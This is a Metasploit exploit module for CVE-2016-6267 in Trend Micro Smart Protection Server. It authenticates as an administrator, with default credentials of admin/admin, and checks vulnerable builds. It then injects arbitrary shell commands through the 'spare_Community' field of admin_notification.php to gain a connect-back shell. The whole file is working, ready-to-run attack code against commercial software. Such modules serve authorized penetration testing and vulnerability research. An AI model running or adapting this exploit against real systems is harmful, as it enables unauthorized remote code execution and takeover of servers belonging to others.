##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'openssl'
require 'base64'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info={})
super(update_info(info,
'Name' => "Trend Micro Smart Protection Server Exec Remote Code Injection",
'Description' => %q{
This module exploits a vulnerability found in TrendMicro Smart Protection Server where untrusted inputs are fed to ServWebExec system command, leading to command injection.
Please note: authentication is required to exploit this vulnerability.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Quentin Kaiser <kaiserquentin[at]gmail.com>'
],
'References' =>
[
['CVE-ID', 'CVE-2016-6267']
],
'Platform' => 'linux',
'Targets' => [ [ 'Linux', {} ] ],
'Payload' => { 'BadChars' => "\x00" },
'CmdStagerFlavor' => [ 'bourne' ],
'Privileged' => false,
'DefaultOptions' =>
{
'SSL' => true
},
'DisclosureDate' => "Aug 8 2016",
'DefaultTarget' => 0))
register_options(
[
OptBool.new('SSL', [ true, 'Use SSL', true ]),
OptString.new('TARGETURI', [true, 'The base path', '/']),
OptAddress.new("LHOST", [true, "The local host for the exploits and handlers", Rex::Socket.source_address]),
OptPort.new('LPORT', [true, "The port SPS will connect back to ", 4444 ]),
OptString.new('ADMINACCOUNT', [true, 'Name of the SPS admin account', 'admin']),
OptString.new('ADMINPASS', [true, 'Password of the SPS admin account', 'admin']),
], self.class)
end
def check
opts = login
if opts
uri = target_uri.path
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, "php/about.php?sid=#{opts['sid']}"),
'headers'=>
{
'Cookie' => "#{opts["sid"]}=#{opts["sid_value"]}",
'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/login.php",
'Origin' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}",
}
})
if res and res.code == 200
version = res.body.to_s.scan(/MSG_ABOUT_VERSION <\/td>[^<]*<td[^>]*>([^<]*)</).last.first.to_f
build = res.body.to_s.scan(/MSG_ABOUT_BUILD <\/td>[^<]*<td[^>]*><span[^>]*>([^<]*)</).last.first.to_i(10)
print_status("TrendMicro Smart Protection Server detected.")
print_status("Version: #{version}")
print_status("Build: #{build}")
if (version == 3.0 and build < 1330) or
(version == 2.6 and build < 2106) or
(version == 2.5 and build < 2200)
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
end
Exploit::CheckCode::Unknown
end
def execute_command(cmd, opts = {})
uri = target_uri.path
send_request_cgi({
'method' => 'POST',
'version' => '1.0',
'timeout' => 1,
'uri' => normalize_uri(uri, 'php/admin_notification.php'),
'ctype' => 'application/x-www-form-urlencoded',
'headers'=>
{
'Cookie' => "#{opts["sid"]}=#{opts["sid_value"]}",
'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/login.php",
'Origin' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}",
},
'vars_post' => {
'EnableSNMP' => 'on',
'Community' => 'hello',
'submit' => 'Save',
'pubkey' => '',
'spare_EnableSNMP' => 1,
'spare_Community' => "test;#{cmd}",
'spare_EnableIPRestriction' => 0,
'spare_AllowGroupIP' => '',
'spare_AllowGroupNetmask' => '',
'sid' => opts["sid"]
}
})
end
def login
uri = target_uri.path
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'index.php'),
})
if res and res.code == 200 and !res.get_cookies.empty?
sid = res.get_cookies.scan(/([^=]*)=[^;]*;/).last.first.strip
sid_value = res.get_cookies.scan(/#{sid}=([a-z0-9]+);/).last.first
n = res.body.to_s.scan(/name="pubkey" value="([^"]*)"/).last.first
nonce = res.body.to_s.scan(/name="nonce" value="([^"]*)"/).last.first
asn1_sequence = OpenSSL::ASN1::Sequence.new(
[
OpenSSL::ASN1::Integer.new("0x#{n}".to_i(16)),
OpenSSL::ASN1::Integer.new("0x10001".to_i(16))
]
)
public_key = OpenSSL::PKey::RSA.new(asn1_sequence)
creds = "#{datastore['ADMINACCOUNT']}\t#{datastore['ADMINPASS']}\t#{nonce}"
data = Base64.encode64(public_key.public_encrypt(creds))
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, "auth.php"),
'ctype' => 'application/x-www-form-urlencoded',
'headers'=>
{
'Cookie' => "#{sid}=#{sid_value}",
'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/login.php",
'Origin' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}",
},
'vars_post' => {
'data' => data,
'sid' => sid
}
})
if res and res.code == 302
if res.headers.key?('Set-Cookie')
sid = res.get_cookies.scan(/([^=]*)=[^;]*;/).last.first
sid_value = res.get_cookies.scan(/#{sid}=([^;]*);/).last.first
end
report_cred(
ip: datastore['RHOST'],
port: datastore['RPORT'],
service_name: (ssl ? "https" : "http"),
user: datastore['ADMINACCOUNT'],
password: datastore['ADMINPASS'],
proof: "#{sid}=#{sid_value}"
)
return {"sid" => sid, "sid_value" => sid_value}
end
end
nil
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def exploit
opts = login
if opts
print_status("Successfully logged in.")
print_status("Exploiting...")
execute_cmdstager(opts=opts)
else
print_error("An error occured while loggin in.")
end
end
end